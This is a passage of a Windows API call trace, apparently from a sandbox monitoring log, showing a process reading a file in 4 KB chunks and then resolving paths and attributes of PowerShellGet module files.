lpOverlapped=0x0) returned 1 [0275.488] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x5d000 [0275.488] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.488] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x5e000 [0275.488] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.488] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x5f000 [0275.488] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.488] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x60000 [0275.488] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.489] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x61000 [0275.489] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.489] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x62000 [0275.489] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.489] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x63000 [0275.489] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.489] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x64000 [0275.490] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.490] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x65000 [0275.490] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.490] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x66000 [0275.490] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.490] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x67000 [0275.490] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.490] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x68000 [0275.490] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.491] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x69000 [0275.491] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.491] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x6a000 [0275.491] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.491] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x6b000 [0275.491] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.491] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x6c000 [0275.492] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.492] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x6d000 [0275.492] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.492] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x6e000 [0275.492] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.493] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x6f000 [0275.493] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.493] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x70000 [0275.493] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.493] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x71000 [0275.493] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.494] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x72000 [0275.494] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.494] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x73000 [0275.494] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.494] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x74000 [0275.494] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.494] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x75000 [0275.494] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.495] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x76000 [0275.495] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.495] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x77000 [0275.495] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.495] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x78000 [0275.495] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.495] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x79000 [0275.496] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.496] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x7a000 [0275.496] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.496] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x7b000 [0275.496] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.496] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x7c000 [0275.496] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.496] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x7d000 [0275.496] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.497] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x7e000 [0275.497] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.497] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x7f000 [0275.497] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.497] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x80000 [0275.497] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.498] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x81000 [0275.498] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.498] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x82000 [0275.498] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.498] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x83000 [0275.498] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.498] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x84000 [0275.499] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.499] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x85000 [0275.499] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.499] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x86000 [0275.499] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.499] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x87000 [0275.500] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.500] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x88000 [0275.500] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.500] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x89000 [0275.500] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.500] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x8a000 [0275.500] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.501] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x8b000 [0275.501] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.501] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x8c000 [0275.501] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0xaa9, lpOverlapped=0x0) returned 1 [0275.501] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x8caa9 [0275.501] ReadFile (in: hFile=0x3fc, lpBuffer=0x25abed1, nNumberOfBytesToRead=0x157, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25abed1*, lpNumberOfBytesRead=0x1bb7c648*=0x0, lpOverlapped=0x0) returned 1 [0275.501] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x8caa9 [0275.501] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x0, lpOverlapped=0x0) returned 1 [0275.516] CloseHandle (hObject=0x3fc) returned 1 [0276.135] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0276.135] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x4f, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x4e [0276.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7c418) returned 1 [0276.136] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), fInfoLevelId=0x0, lpFileInformation=0x35e3240 | out: lpFileInformation=0x35e3240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8caa9)) returned 1 [0276.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7c3c8) returned 1 [0276.154] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0276.154] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0276.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7d298) returned 1 [0276.154] GetFileAttributesExW (in: 